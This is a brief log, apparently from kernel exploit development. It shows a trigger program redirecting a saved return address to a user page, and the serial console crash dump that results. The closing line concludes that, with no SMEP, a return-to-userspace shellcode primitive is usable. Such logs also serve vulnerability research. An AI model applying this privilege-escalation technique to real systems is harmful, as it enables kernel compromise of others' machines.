+ su operator -c "/root/rig/trigger stage0" (saved-RIP -> user page 0x10000000 + containing a single ud2) (serial console capture, unedited) Fatal trap 1: privileged instruction fault while in kernel mode cpuid = 0; lapic id = 0 instruction pointer = 0x8:0x10000000 stack pointer = 0x10:0xfffff80116a7a5d8 frame pointer = 0x10:0x0 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, long 0, def32 0, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 841 current thread = pri 6 kernel: type 1 trap, code=0 CPU0 stopping CPUs: 0x0000003e stopped Stopped at 0x10000000: db> => CPL0 executed an instruction at USERSPACE address 0x10000000 (the ud2 trap fired there, kernel mode). No SMEP on this build: the ret-to-userspace-shellcode primitive is directly usable.